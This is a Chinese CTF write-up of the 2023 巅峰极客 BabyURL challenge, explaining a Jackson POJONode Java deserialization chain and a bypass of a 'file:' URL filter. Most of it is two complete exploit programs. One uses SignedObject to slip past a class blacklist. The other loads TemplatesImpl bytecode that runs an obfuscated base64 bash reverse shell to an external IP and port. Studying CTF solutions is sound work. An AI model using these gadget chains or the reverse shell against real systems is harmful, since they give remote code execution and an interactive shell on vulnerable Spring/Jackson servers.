目录
前言
分析
EXP
SignedObject打二次反序列化
打TemplatesImpl加载恶意字节码
前文:【Web】浅聊Jackson序列化getter的利用——POJONode
前言
题目环境:2023巅峰极客 BabyURL
之前AliyunCTF Bypassit I这题考查了这样一条链子:
BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
其实就是Jackson的原生反序列化利用
今天复现的这题也是大同小异,一起来整一下😋
分析
toString到getter的部分不作赘述,getter一般常见的用法分两种,打二次反序列化和打TemplatesImpl
结合具体题目去分析
先看pom依赖,就是给了一些spring依赖,众所周知,在 Spring Boot 中,通常自带jackson

再来看一下输入流,注意到ban了URLVistor和URLHelper两个classpath下的bean

URLHelper#readObject调用了URLVisiter#visitUrl,获取的结果写入/tmp/file文件

来看URLVisiter#vistUrl

visitUrl限制了URL不能以file开头,可以首字符用空格绕过,也可以用大写绕过FILE:/// ,从而绕过限制,读取靶机本地文件
给了三个路由,反序列化入口点在/hack处,然后可以在/file路由读取/tmp/file路由的内容并回显

那么思路就很清晰了,我们要先利用反序列化让URLVisiter去读flag,再写入/tmp/file
问题是MyObjectInputStream将URLHelper和URLVister给ban了,这点我们可以用SignedObject打二次反序列化来绕过
EXP
SignedObject打二次反序列化
package com.yancao.ctf.exp;
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
public class EXP {
    public static void main(String[] args) throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, (ProtectionDomain)null);
        } catch (Exception var11) {
        }
        URLHelper urlHelper = new URLHelper(" file:///");
        URLVisiter urlVisiter = new URLVisiter();
        setFieldValue(urlHelper, "visiter", urlVisiter);
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
        POJONode jsonNodes = new POJONode(signedObject);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp, jsonNodes);
        System.out.println(serial(exp));
    }
    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}
 
 
打TemplatesImpl加载恶意字节码
这个就和AliyunCTF那题一样了,不需要依赖题目自定义的类,简单粗暴
package com.yancao.ctf.exp;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;
public class EXP {
    public static void main(String[] args) throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, (ProtectionDomain)null);
        } catch (Exception var11) {
        }
        byte[] code = getTemplates();//用javassist获取
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);
        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);
        System.out.println(serial(val));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}
                

















